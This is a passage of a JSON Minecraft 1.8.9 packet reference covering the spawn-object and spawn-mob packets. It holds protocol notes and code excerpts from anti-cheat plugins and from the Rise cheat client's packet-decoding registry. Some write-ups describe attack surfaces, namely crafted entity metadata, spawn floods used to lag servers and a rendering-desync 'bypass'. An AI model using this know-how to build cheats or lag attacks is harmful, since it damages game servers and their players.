       "detailed_code": "// ===== FILE: P2P-Develop-PeyangSuperbAntiCheat, src/main/java/ml/peya/plugins/Detect/NPC.java =====\npackage ml.peya.plugins.Detect;\n\nimport ml.peya.plugins.Enum.*;\nimport ml.peya.plugins.*;\nimport ml.peya.plugins.Utils.*;\nimport net.minecraft.server.v1_12_R1.*;\nimport org.bukkit.*;\nimport org.bukkit.craftbukkit.v1_12_R1.entity.*;\nimport org.bukkit.craftbukkit.v1_12_R1.inventory.*;\nimport org.bukkit.entity.*;\nimport org.bukkit.scheduler.*;\nimport org.bukkit.util.*;\n\npublic class NPC\n{\n    static void setLocation(Location location, EntityPlayer player)\n    {\n        player.setLocation(location.getX(), location.getY(), location.getZ(), location.getYaw(), location.getPitch());\n    }\n\n    static EntityPlayer spawn(Player player, DetectType teleportCase)\n    {\n\n        EntityPlayer npc = RandomPlayer.getPlayer(player.getWorld());\n\n        Location center = player.getLocation();\n\n        if (center.getPitch() <= 0.0f || center.getPitch() > 15.0f)\n            center.setPitch(0.0f);\n\n        Vector vec = center.getDirection().multiply(-3);\n\n        setLocation(player.getLocation().add(0, 1, 0).add(vec), npc);\n\n        PlayerConnection connection = ((CraftPlayer) player).getHandle().playerConnection;\n\n\n        ItemStack[] arm = {CraftItemStack.asNMSCopy(RandomArmor.getHelmet()),\n                CraftItemStack.asNMSCopy(RandomArmor.getChestPlate()),\n                CraftItemStack.asNMSCopy(RandomArmor.getLeggings()),\n                CraftItemStack.asNMSCopy(RandomArmor.getBoots()),\n                CraftItemStack.asNMSCopy(RandomArmor.getSwords())};\n\n        new BukkitRunnable()\n        {\n            @Override\n            public void run()\n            {\n                connection.sendPacket(new PacketPlayOutPlayerInfo(PacketPlayOutPlayerInfo.EnumPlayerInfoAction.ADD_PLAYER, npc));\n\n                connection.sendPacket(new PacketPlayOutNamedEntitySpawn(npc));\n\n                connection.sendPacket(new PacketPlayOutPlayerInfo(PacketPlayOutPlayerInfo.EnumPlayerInfoAction.REMOVE_PLAYER, npc));\n\n                player.hidePlayer(PeyangSuperbAntiCheat.getPlugin(), npc.getBukkitEntity());\n\n                for (Player p : Bukkit.getOnlinePlayers())\n                {\n                    if (!p.hasPermission(\"psac.viewnpc\"))\n                        continue;\n                    PlayerConnection c = ((CraftPlayer) p).getHandle().playerConnection;\n                    c.sendPacket(new PacketPlayOutPlayerInfo(PacketPlayOutPlayerInfo.EnumPlayerInfoAction.ADD_PLAYER, npc));\n                    c.sendPacket(new PacketPlayOutNamedEntitySpawn(npc));\n\n\n                }\n\n                NPCTeleport.teleport(player, npc, arm, teleportCase);\n\n                player.hidePlayer(PeyangSuperbAntiCheat.getPlugin(), npc.getBukkitEntity());\n\n                for (Player p : Bukkit.getOnlinePlayers())\n                {\n                    if (!p.hasPermission(\"psac.viewnpc\"))\n                        continue;\n                    PlayerConnection c = ((CraftPlayer) p).getHandle().playerConnection;\n                    c.sendPacket(new PacketPlayOutPlayerInfo(PacketPlayOutPlayerInfo.EnumPlayerInfoAction.REMOVE_PLAYER, npc));\n\n\n                }\n\n                new BukkitRunnable()\n                {\n                    @Override\n                    public void run()\n                    {\n                        connection.sendPacket(new PacketPlayOutEntityDestroy(npc.getBukkitEntity().getEntityId()));\n                        for (Player p : Bukkit.getOnlinePlayers())\n                        {\n                            if (!p.hasPermission(\"psac.viewnpc\"))\n                                continue;\n                            PlayerConnection c = ((CraftPlayer) p).getHandle().playerConnection;\n                            c.sendPacket(new PacketPlayOutEntityDestroy(npc.getBukkitEntity().getEntityId()));\n                        }\n                    }\n                }.runTaskLater(PeyangSuperbAntiCheat.getPlugin(), (20 * PeyangSuperbAntiCheat.config.getInt(\"npc.seconds\")));\n            }\n        }.runTask(PeyangSuperbAntiCheat.getPlugin());\n\n        return npc;\n    }\n\n    public static void setArmor(Player target, EntityPlayer player, ItemStack[] arm)\n    {\n\n        PlayerConnection connection = ((CraftPlayer) target).getHandle().playerConnection;\n        connection.sendPacket(new PacketPlayOutEntityEquipment(player.getBukkitEntity().getEntityId(), EnumItemSlot.HEAD, arm[0]));\n        connection.sendPacket(new PacketPlayOutEntityEquipment(player.getBukkitEntity().getEntityId(), EnumItemSlot.CHEST, arm[1]));\n        connection.sendPacket(new PacketPlayOutEntityEquipment(player.getBukkitEntity().getEntityId(), EnumItemSlot.LEGS, arm[2]));\n        connection.sendPacket(new PacketPlayOutEntityEquipment(player.getBukkitEntity().getEntityId(), EnumItemSlot.FEET, arm[3]));\n        connection.sendPacket(new PacketPlayOutEntityEquipment(player.getBukkitEntity().getEntityId(), EnumItemSlot.MAINHAND, arm[4]));\n    }\n}\n// NOTE (AI): The S0E corpus hit is on the spawn packets (lines 51 and 63); the named-entity spawn is the 1.8 S0C packet, which the corpus greps into the spawn-object domain.",
       "code_source": "P2P-Develop-PeyangSuperbAntiCheat, src/main/java/ml/peya/plugins/Detect/NPC.java",
       "variations": "Kauri FakeMob is the same bait pattern with a generic entity; network-dev-MinecraftAntiCheat NPC.java runs the same idea on a different base; Intave mirrors the spawn feed in module/tracker/entity/EntityTracker and emits EntitySpawnEvent records."
      }
     ]
    }
   },
   "wiki_notes": [
    "Non-living spawn: VarInt id, type byte (1 boat, 2 item, 50 TNT, 60 arrow, 65 pearl, 78 armor stand), fixed-point pos x/32.",
    "Yaw and pitch are byte angles value x360/256; velocity shorts value/8000 are present only when the data int is positive.",
    "Trailing data int is type-specific: shooter entity id for projectiles, block id for falling blocks, facing for item frames.",
    "MCP 1.8.9 S0EPacketSpawnObject implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleSpawnObject; wire serde is readPacketData/writePacketData via readByte, readInt, readShort, readVarIntFromBuffer.",
    "1.8.9 callers: EntityTrackerEntry.createSpawnPacket sends new S0EPacketSpawnObject (line 497): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityTrackerEntry.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S0EPacketSpawnObject/",
   "mcp_path": "net/minecraft/network/play/server/S0EPacketSpawnObject.java",
   "group": "play-client",
   "logic_classes": [
    "EntityTrackerEntry"
   ]
  },
  {
   "id": "S0FPacketSpawnMob",
   "hex": "0x0F",
   "dec": 15,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Spawn Mob",
   "desc": "Spawns a living entity (mob/animal/monster) with entity type, position, rotation, velocity, and metadata.",
   "tags": [
    "entity",
    "mob",
    "spawn",
    "creature"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
    {
     "name": "type",
     "type": "unsigned byte",
     "desc": "Mob type (50=creeper, 51=skeleton, 52=spider, 54=zombie, etc.)"
    },
    {
     "name": "x/y/z",
     "type": "fixed-point int",
     "desc": "Position × 32"
    },
    {
     "name": "yaw/pitch/headYaw",
     "type": "byte",
     "desc": "Rotations × 256/360"
    },
    {
     "name": "velocityX/Y/Z",
     "type": "short",
     "desc": "Velocity × 8000"
    },
    {
     "name": "metadata",
     "type": "DataWatcher",
     "desc": "Entity data watcher"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Type",
     "Unsigned Byte",
     "EntityList ID"
    ],
    [
     "X",
     "Int",
     "x * 32"
    ],
    [
     "Y",
     "Int",
     "y * 32"
    ],
    [
     "Z",
     "Int",
     "z * 32"
    ],
    [
     "Yaw",
     "byte",
     "yaw * 256/360"
    ],
    [
     "Pitch",
     "byte",
     "pitch * 256/360"
    ],
    [
     "Head Pitch",
     "byte",
     "headYaw * 256/360"
    ],
    [
     "Velocity X",
     "short",
     ""
    ],
    [
     "Velocity Y",
     "short",
     ""
    ],
    [
     "Velocity Z",
     "short",
     ""
    ],
    [
     "Metadata",
     "DataWatcher",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleSpawnMob()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Entity types: 50=creeper, 51=skeleton, 52=spider, 53=giant, 54=zombie, 55=slime, 56=ghast, 57=zombiePigman, 58=enderman, 59=caveSpider, 60=silverfish, 61=blaze, 62=magmaCube, 63=enderDragon, 64=wither, 65=bats, 66=witch, 67=endermite, 68=guardian, 69=shulker, 90=pig, 91=sheep, 92=cow, 93=chicken, 94=squid, 95=wolf, 96=mooshroom, 97=snowman, 98=ocelot, 99=ironGolem, 100=horse, 101=rabbit, 120=villager.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The living-entity counterpart of S0E: mobs, animals and monsters spawn through S0F instead of S0E. EntityTrackerEntry.getPacket returns it for every EntityLivingBase; the payload carries the entity id, the EntityList type code (50=creeper up through 120=villager), fixed-point position (x32), yaw/pitch/head rotations (x256/360), velocity shorts (x8000) and a full DataWatcher block. The metadata is what renders health, potion effects and nametags without follow-up packets, which makes S0F one of the heaviest spawn packets on the wire."
     },
     {
      "h": "Vanilla handling",
      "p": "handleSpawnMob creates the living entity through EntityList.createEntityByID, sets position and rotations, applies the velocity and reads the DataWatcher. Server side, EntityTrackerEntry deliberately suppresses the velocity-update packet on the spawn tick: the sendVelocityUpdates branch skips entities that just arrived via S0F because the spawn packet already carries the initial motion, avoiding a redundant S12 immediately after spawn."
     },
     {
      "h": "Why clients touch it",
      "p": "No user-facing module in the 8 clients references S0F. Mob ESP, KillAura target lists and Tracers here iterate the loaded entity list each render frame rather than hooking spawn packets, so they consume the spawned EntityLivingBase objects after vanilla handling instead of the packet itself. The only non-vanilla client code is Rise's TranslationComponent (the PacketType enum's SPAWN_MOB entry decodes the fixed-point coordinates into the entity-position map used by the Translation bypass) and the NetworkAPI script registry listing the class."
     },
     {
      "h": "Exploit surface",
      "p": "The DataWatcher is the attack surface: a crafted metadata block can declare absurd health, invisible flags or armor values, and mob spawn floods are the classic lag vector. The type byte is unvalidated by the client, so a proxy-crafted id despawns the entity silently. For bypass engineering the interesting property is that S0F is the only clientbound packet that fully defines an entity's state at once, which is why the Translation component hooks it: rewriting the spawn position desyncs the client's rendering from the server's simulation without emitting a single movement packet."
     }
    ],
    "overview": "The spawn packet for every living mob, carrying a full DataWatcher. No module in the 8 clients hooks it: ESP and KillAura read the world entity list instead. The one piece of real client code is Rise's TranslationComponent, whose PacketType enum decodes S0F spawn coordinates into the position map that powers its spawn-repositioning bypass.",
    "server_handling": "EntityTrackerEntry.getPacket returns new S0FPacketSpawnMob((EntityLivingBase) trackedEntity) for any tracked living entity, and the sendVelocityUpdates branch skips S12 on the same tick the mob spawns because the spawn packet already carries initial velocity. The packet constructor snapshots position, rotations, velocity and the full DataWatcher at tracking time. The client handler reverses this: create entity, set transform, apply motion, read metadata.",
    "protocol_notes": "Same fixed-point layout as S0E: VarInt entity id, unsigned byte type, three x32 ints, three rotation bytes, three x8000 velocity shorts, then the DataWatcher block which is mandatory for living entities and can run to dozens of bytes. Because the type id is the EntityList id and not the entity class, the client must have a matching entity registry or the spawn is dropped.",
    "anticheat_landscape": "Anti-cheats use S0F as a state anchor: knockback checks know the mob's spawn velocity, and bot-detection heuristics on some servers correlate S0F rate with chunk activity. The Translation-style spawn repositioning is a rendering-layer desync, invisible to server-side movement checks but detectable by servers that verify client-reported entity positions. No reference client ships a module that abuses it; the corpus hit is purely the component infrastructure.",
    "modules": [
     {
      "name": "PacketType / TranslationComponent (SPAWN_MOB)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Decode S0F spawn coordinates and rotations into the entity-position map that the Translation bypass feeds on.",
      "how_it_works": "PacketType is an enum registry consumed by TranslationComponent on every PacketReceiveEvent: the SPAWN_MOB entry casts to S0FPacketSpawnMob, converts x32 ints to doubles and x256/360 bytes to floats, and stores a Position in the entityPositions map keyed by entity id. Subsequent S14/S18 packets update the same map, and S13 removes entries.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/translation/PacketType.java =====\npackage com.alan.clients.component.impl.player.translation;\n\nimport lombok.Getter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.*;\n\nimport java.util.Map;\nimport java.util.function.BiFunction;\n\npublic enum PacketType {\n    SPAWN_MOB(S0FPacketSpawnMob.class, (packet, entityPositions) -> {\n        S0FPacketSpawnMob spawnMobPacket = (S0FPacketSpawnMob) packet;\n        int entityId = spawnMobPacket.getEntityID();\n        double posX = spawnMobPacket.getX() / 32.0;\n        double posY = spawnMobPacket.getY() / 32.0;\n        double posZ = spawnMobPacket.getZ() / 32.0;\n        float yaw = (spawnMobPacket.getYaw() * 360) / 256.0F;\n        float pitch = (spawnMobPacket.getPitch() * 360) / 256.0F;\n\n        Position newPosition = new Position(posX, posY, posZ, yaw, pitch);\n        entityPositions.put(entityId, newPosition);\n        return entityPositions;\n    }),\n\n    ENTITY_TELEPORT(S18PacketEntityTeleport.class, (packet, entityPositions) -> {\n        S18PacketEntityTeleport teleportPacket = (S18PacketEntityTeleport) packet;\n        int entityId = teleportPacket.getEntityId();\n        double posX = teleportPacket.getX() / 32.0;\n        double posY = teleportPacket.getY() / 32.0;\n        double posZ = teleportPacket.getZ() / 32.0;\n        float yaw = (teleportPacket.getYaw() * 360) / 256.0F;\n        float pitch = (teleportPacket.getPitch() * 360) / 256.0F;\n\n        Position newPosition = new Position(posX, posY, posZ, yaw, pitch);\n        entityPositions.put(entityId, newPosition);\n        return entityPositions;\n    }),\n\n    ENTITY_REL_MOVE(S14PacketEntity.S15PacketEntityRelMove.class, (packet, entityPositions) -> {\n        S14PacketEntity.S15PacketEntityRelMove relMovePacket = (S14PacketEntity.S15PacketEntityRelMove) packet;\n        int entityId = relMovePacket.entityId;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            double newPosX = currentPosition.posX + relMovePacket.getPosX() / 32.0;\n            double newPosY = currentPosition.posY + relMovePacket.getPosY() / 32.0;\n            double newPosZ = currentPosition.posZ + relMovePacket.getPosZ() / 32.0;\n            float yaw = currentPosition.yaw;\n            float pitch = currentPosition.pitch;\n\n            Position newPosition = new Position(newPosX, newPosY, newPosZ, yaw, pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    }),\n\n    ENTITY_LOOK_MOVE(S14PacketEntity.S17PacketEntityLookMove.class, (packet, entityPositions) -> {\n        S14PacketEntity.S17PacketEntityLookMove lookMovePacket = (S14PacketEntity.S17PacketEntityLookMove) packet;\n        int entityId = lookMovePacket.getEntityId();\n        double deltaX = lookMovePacket.getPosX() / 32.0;\n        double deltaY = lookMovePacket.getPosY() / 32.0;\n        double deltaZ = lookMovePacket.getPosZ() / 32.0;\n        float yaw = (lookMovePacket.getYaw() * 360) / 256.0F;\n        float pitch = (lookMovePacket.getPitch() * 360) / 256.0F;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            double newPosX = currentPosition.posX + deltaX;\n            double newPosY = currentPosition.posY + deltaY;\n            double newPosZ = currentPosition.posZ + deltaZ;\n\n            // Ensure yaw and pitch are updated\n            Position newPosition = new Position(newPosX, newPosY, newPosZ, yaw, pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    }),\n\n    ENTITY_LOOK(S14PacketEntity.S16PacketEntityLook.class, (packet, entityPositions) -> {\n        S14PacketEntity.S16PacketEntityLook lookPacket = (S14PacketEntity.S16PacketEntityLook) packet;\n        int entityId = lookPacket.getEntityId();\n        float yaw = (lookPacket.getYaw() * 360) / 256.0F;\n        float pitch = (lookPacket.getPitch() * 360) / 256.0F;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            Position newPosition = new Position(currentPosition.posX, currentPosition.posY, currentPosition.posZ, yaw, pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    }),\n\n    DESTROY_ENTITY(S13PacketDestroyEntities.class, (packet, entityPositions) -> {\n        S13PacketDestroyEntities destroyEntitiesPacket = (S13PacketDestroyEntities) packet;\n        int[] entityIds = destroyEntitiesPacket.getEntityIDs();\n\n        for (int entityId : entityIds) {\n            entityPositions.remove(entityId);\n        }\n\n        return entityPositions;\n    }),\n\n    ENTITY_HEAD_LOOK(S19PacketEntityHeadLook.class, (packet, entityPositions) -> {\n        S19PacketEntityHeadLook headLookPacket = (S19PacketEntityHeadLook) packet;\n        int entityId = headLookPacket.getEntityId();\n        float headYaw = (headLookPacket.getYaw() * 360) / 256.0F;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            Position newPosition = new Position(currentPosition.posX, currentPosition.posY, currentPosition.posZ, headYaw, currentPosition.pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    });\n\n    @Getter\n    private final Class<? extends Packet<?>> packetClass;\n    private final BiFunction<Packet<?>, Map<Integer, Position>, Map<Integer, Position>> handler;\n\n    PacketType(Class<? extends Packet<?>> packetClass, BiFunction<Packet<?>, Map<Integer, Position>, Map<Integer, Position>> handler) {\n        this.packetClass = packetClass;\n        this.handler = handler;\n    }\n\n    public Map<Integer, Position> handle(Packet<?> packet, Map<Integer, Position> positions) {\n        return handler.apply(packet, positions);\n    }\n}\n// NOTE (AI): The TranslationComponent packet registry. SPAWN_MOB decodes the fixed-point spawn coordinates (x32) and byte rotations (x256/360) into the entityPositions map that the Translation bypass feeds on, so the client keeps its own copy of every mob's server-side position. DESTROY_ENTITY removes entries when S13 arrives, and the same enum covers S18 teleport, S14 relative moves and looks, and S19 head look.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/translation/PacketType.java",
      "vanilla_hook": "PacketReceiveEvent, consumed by the TranslationComponent in both Rise 6.1.30 and 6.2.4.",
      "anti_cheat_notes": "Repositioning on spawn is a rendering desync, not a movement cheat: the server never sees it because no serverbound packet is involved. It only matters to servers that reconcile client-rendered entity positions, and it carries no flag risk for the player's own movement.",
      "variations": "The PacketType enum is byte-identical in intent across 6.1.30 and 6.2.4; 6.2.4 also carries ENTITY_HEAD_LOOK. This is the only non-vanilla reference to S0F in the 8-client corpus."
     }
    ],
    "general_hooks": "No module-level hooks exist for S0F in the corpus; the only hook surface is Rise's TranslationComponent component consuming PacketReceiveEvent.",
    "client_variations": "All other clients touch S0F only through the bundled vanilla handler; Rise additionally exposes it in NetworkAPI's script packet list.",
    "related": [
     "S0EPacketSpawnObject",
     "S12PacketEntityVelocity",
     "S13PacketDestroyEntities"
    ],
    "anticheat": {
     "overview": "The living-entity spawn packet carries the full state of a mob: type, position, rotations, velocity and the DataWatcher. Anticheats consume it on the send side to learn entity ids and types before any reach or hitbox measurement: Photon caches the entity type per id, TruthfulAC snapshots the spawn box into its compensation history, and Grim replicates the entity into the simulation used by reach and knockback checks. The type byte matters because hitbox dimensions depend on it, and a spawn without a tracker entry would leave every later entity packet orphaned.",
     "checks": [
      {
       "name": "Living-entity id lookup (Photon)",
       "found_in": [
        "Photon-GitHub-AntiCheatAddition"
       ],
       "purpose": "Cache the entity type for every spawned living entity so later modules can resolve an entity id to its type without Bukkit lookups.",
       "how_it_works": "LivingEntityIdLookup registers a PacketSendEvent listener for SPAWN_LIVING_ENTITY, wraps the packet as WrapperPlayServerSpawnLivingEntity and stores (entityId, entityType) in a Guava cache capped at one million entries with a five-second default expiry. A delayed task pre-warms the cache from all loaded worlds at startup, and getEntityType serves id-to-type lookups for modules that need hitbox or behavior data.",
       "detects": "Nothing: it is a utility cache. Modules such as the DamageIndicator and information hider consume it.",
       "detailed_code": "// ===== FILE: Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/util/protocol/LivingEntityIdLookup.java =====\npackage de.photon.anticheataddition.util.protocol;\n\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketListenerAbstract;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityType;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnLivingEntity;\nimport com.google.common.cache.Cache;\nimport com.google.common.cache.CacheBuilder;\nimport de.photon.anticheataddition.AntiCheatAddition;\nimport de.photon.anticheataddition.util.log.Log;\nimport io.github.retrooper.packetevents.util.SpigotConversionUtil;\nimport org.bukkit.Bukkit;\nimport org.bukkit.World;\nimport org.bukkit.entity.LivingEntity;\nimport org.jspecify.annotations.NonNull;\n\nimport javax.annotation.Nullable;\n\npublic final class LivingEntityIdLookup\n{\n    // Track at most 1 millon entities\n    private static final long MAXIMUM_CACHE_CAPACITY = 1 << 20;\n    private static final int MINIMUM_CACHE_CAPACITY = 1 << 11;\n    private static final long CACHE_TIME = 20L * 5L;\n\n    public static final LivingEntityIdLookup INSTANCE = new LivingEntityIdLookup();\n\n    private final Cache<Integer, EntityType> entityTypeCache = CacheBuilder.newBuilder().initialCapacity(MINIMUM_CACHE_CAPACITY).concurrencyLevel(2).maximumSize(MAXIMUM_CACHE_CAPACITY).build();\n\n\n    private LivingEntityIdLookup()\n    {\n        PacketEvents.getAPI().getEventManager().registerListener(new PacketListenerAbstract()\n        {\n            @Override\n            public void onPacketSend(@NonNull PacketSendEvent event)\n            {\n                if (event.getPacketType() == PacketType.Play.Server.SPAWN_LIVING_ENTITY) {\n                    final WrapperPlayServerSpawnLivingEntity wrapper = new WrapperPlayServerSpawnLivingEntity(event);\n                    cacheEntityId(wrapper.getEntityId(), wrapper.getEntityType());\n                }\n            }\n        });\n\n        // Do not immediately loop through all entities to cache them, as Bukkit may not have loaded all entities yet which leads to connection errors when players try to join.\n        Bukkit.getScheduler().runTaskLater(AntiCheatAddition.getInstance(), this::cacheAllEntities, CACHE_TIME);\n    }\n\n    private void cacheAllEntities()\n    {\n        for (World world : Bukkit.getWorlds()) {\n            for (LivingEntity entity : world.getLivingEntities()) cacheEntity(entity);\n        }\n    }\n\n    private void cacheEntity(LivingEntity entity)\n    {\n        final int entityId = entity.getEntityId();\n        final var entityType = SpigotConversionUtil.fromBukkitEntityType(entity.getType());\n\n        if (entityType == null) {\n            Log.fine(() -> \"Attempted to cache null entityType: Entity ID \" + entityId + \" Raw type: \" + entity.getType().name());\n            return;\n        }\n\n        entityTypeCache.put(entityId, entityType);\n    }\n\n    public void cacheEntityId(int entityId, EntityType entityType)\n    {\n        if (entityType == null) {\n            Log.fine(() -> \"Attempted to cache null entityType: Entity ID \" + entityId);\n            return;\n        }\n\n        entityTypeCache.put(entityId, entityType);\n    }\n\n    /**\n     * Gets the EntityType from a valid entityId of a living entity.\n     */\n    @Nullable\n    public EntityType getEntityType(int entityId)\n    {\n        return entityTypeCache.getIfPresent(entityId);\n    }\n}\n\n// NOTE (AI): The SPAWN_LIVING_ENTITY branch is lines 40-43. The cache's five-second expiry is tuned to spawn traffic volume, and cacheEntityId also accepts manual feeds so replay-style spawns can be registered.\n",
       "code_source": "Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/util/protocol/LivingEntityIdLookup.java",
       "variations": "Grim replicates the full entity with metadata and rotations; Artemis resolves spawn ids through its EntityType registry; intave keeps EntityTypeDataRegistry with per-type hitbox sizes."
      },
      {
       "name": "Spawn compensation (TruthfulAC)",
       "found_in": [
        "TawnyE-TruthfulAC"
       ],
       "purpose": "Snapshot every spawned entity's position and hitbox into the compensation history so reach checks can backtrack against it.",
       "how_it_works": "TruthfulPacketListener routes SPAWN_ENTITY (the 1.19+ living spawn) into CompensationTracker.handleSpawn, which stores a CompensatedEntity keyed by id with a ring of up to 30 tick snapshots and a base reach taken from the entity type (3.0 for players, 1.5 boats, 4.5 shulkers). handleEntitySnapshot re-stamps live Bukkit entities each tick, and getEntityData serves the backtracking reach check with up to 8 ticks of history.",
       "detects": "Nothing directly; it is the compensation data layer behind the reach and hitbox checks.",
       "detailed_code": "// ===== FILE: TawnyE-TruthfulAC, src/main/java/ret/tawny/truthful/compensation/CompensationTracker.java =====\npackage ret.tawny.truthful.compensation;\n\nimport org.bukkit.Bukkit;\nimport org.bukkit.Location;\nimport org.bukkit.World;\nimport org.bukkit.entity.Entity;\nimport org.bukkit.entity.EntityType;\nimport org.bukkit.entity.Player;\nimport org.bukkit.util.BoundingBox;\nimport ret.tawny.truthful.Truthful;\nimport ret.tawny.truthful.utils.hitbox.SimpleHitbox;\nimport ret.tawny.truthful.utils.tick.ITickable;\n\nimport java.util.Map;\nimport java.util.UUID;\nimport java.util.concurrent.ConcurrentHashMap;\n\npublic final class CompensationTracker implements ITickable {\n\n    public int getCurrentTick() {\n        return tickCounter;\n    }\n\n    private static final int HISTORY_SIZE = 30;\n    public static final int MAX_BACKTRACK_TICKS = 8;\n    private static final int CLEANUP_INTERVAL = 100;\n    private static final int MAX_STALE_TICKS = 1200;\n    private static final int DESTROY_GRACE_TICKS = 6;\n    private static final double LIVE_RESYNC_DISTANCE_SQUARED = 4.0;\n\n    private final Map<Integer, CompensatedEntity> compensationMap = new ConcurrentHashMap<>();\n    private final Map<Integer, java.lang.ref.WeakReference<Entity>> entityCache = new ConcurrentHashMap<>();\n    private volatile int tickCounter = 0;\n\n    @Override\n    public void tick() {\n        tickCounter++;\n        if (tickCounter % CLEANUP_INTERVAL == 0) {\n            int currentTick = this.tickCounter;\n            compensationMap.entrySet().removeIf(entry -> {\n                if (entry.getValue().isExpired(currentTick)) {\n                    entityCache.remove(entry.getKey());\n                    return true;\n                }\n                return false;\n            });\n        }\n    }\n\n    public void handleSpawn(int id, UUID uuid, double x, double y, double z, double width, double height,\n                            boolean isPlayer) {\n        int currentTick = this.tickCounter;\n        CompensatedEntity data = new CompensatedEntity(id, uuid, isPlayer, 3.0);\n        compensationMap.put(id, data);\n        data.snapshot(currentTick, x, y, z, width, height);\n    }\n\n    public void handleEntitySnapshot(Entity entity) {\n        if (entity == null || !entity.isValid()) return;\n\n        int currentTick = this.tickCounter;\n        int entityId = entity.getEntityId();\n        entityCache.put(entityId, new java.lang.ref.WeakReference<>(entity));\n        EntityBox box = readEntityBox(entity);\n\n        double baseReach = getBaseReachForType(entity.getType(), entity instanceof Player);\n\n        CompensatedEntity data = compensationMap.computeIfAbsent(entityId,\n                id -> new CompensatedEntity(id, entity.getUniqueId(), entity instanceof Player, baseReach));\n\n        data.snapshot(currentTick, box.x, box.y, box.z, box.width, box.height);\n    }\n\n    private static double getBaseReachForType(EntityType type, boolean isPlayer) {\n        if (isPlayer) return 3.0;\n        if (type == null) return 3.0;\n        return switch (type) {\n            case BOAT -> 1.5;\n            case MINECART, CHEST_MINECART, HOPPER_MINECART, TNT_MINECART -> 1.0;\n            case ITEM_FRAME, GLOW_ITEM_FRAME, ARMOR_STAND -> 3.0;\n            case SHULKER -> 4.5;\n            default -> 3.0;\n        };\n    }\n\n    public void handleTeleport(int id, double x, double y, double z) {\n        int currentTick = this.tickCounter;\n        CompensatedEntity data = compensationMap.get(id);\n        if (data != null) {\n            data.snapshot(currentTick, x, y, z, data.lastWidth, data.lastHeight);\n        }\n    }\n\n    public void handleRelMove(int id, double dx, double dy, double dz) {\n        int currentTick = this.tickCounter;\n        CompensatedEntity data = compensationMap.get(id);\n        if (data != null) {\n            EntitySnapshot last = data.getLatest();\n            if (last != null) {\n                data.snapshot(currentTick, last.x + dx, last.y + dy, last.z + dz, data.lastWidth, data.lastHeight);\n            }\n        }\n    }\n\n    public void handleVelocity(int id, double vx, double vy, double vz) {\n        int currentTick = this.tickCounter;\n        CompensatedEntity data = compensationMap.get(id);\n        if (data != null) {\n            EntitySnapshot last = data.getLatest();\n            if (last != null) {\n                data.snapshot(currentTick, last.x + vx, last.y + vy, last.z + vz, data.lastWidth, data.lastHeight);\n            }\n        }\n    }\n\n    public void handleDestroy(int id) {\n        CompensatedEntity data = compensationMap.get(id);\n        if (data != null) {\n            data.markDestroyed(this.tickCounter);\n        }\n    }\n\n    public CompensatedEntity getEntityData(int entityId) {\n        CompensatedEntity data = compensationMap.get(entityId);\n        if (data == null)\n            return null;\n\n        int currentTick = this.tickCounter;\n        if (data.isExpired(currentTick)) {\n            compensationMap.remove(entityId, data);\n            return null;\n        }\n        syncFromLiveEntityIfNeeded(entityId, data, currentTick);\n        return data;\n    }\n\n    public boolean hasEntityData(int entityId) {\n        return getEntityData(entityId) != null;\n    }\n\n    public static final class CompensatedEntity {\n        public final int entityId;\n        public final UUID uuid;\n        public final boolean isPlayer;\n        public final double baseReach;\n        private volatile int lastSeenTick;\n        private volatile int destroyedTick = -1;\n        private final EntitySnapshot[] snapshots = new EntitySnapshot[HISTORY_SIZE];\n        private final int[] ticks = new int[HISTORY_SIZE];\n        private int head = 0;\n        private int count = 0;\n\n        protected double lastWidth = 0.6;\n        protected double lastHeight = 1.8;\n\n        public CompensatedEntity(int entityId, UUID uuid, boolean isPlayer, double baseReach) {\n            this.entityId = entityId;\n            this.uuid = uuid;\n            this.isPlayer = isPlayer;\n            this.baseReach = baseReach;\n        }\n\n        public synchronized void snapshot(int tick, double x, double y, double z, double width, double height) {\n            this.lastSeenTick = tick;\n            this.destroyedTick = -1;\n            this.lastWidth = width;\n            this.lastHeight = height;\n            snapshots[head] = new EntitySnapshot(x, y, z, width, height);\n            ticks[head] = tick;\n            head = (head + 1) % HISTORY_SIZE;\n            if (count < HISTORY_SIZE)\n                count++;\n        }\n\n        public synchronized EntitySnapshot getLatest() {\n            if (count == 0)\n                return null;\n            return snapshots[(head - 1 + HISTORY_SIZE) % HISTORY_SIZE];\n        }\n\n        public void markDestroyed(int tick) {\n            this.destroyedTick = tick;\n        }\n\n        public boolean isExpired(int currentTick) {\n            int destroyedAt = this.destroyedTick;\n            if 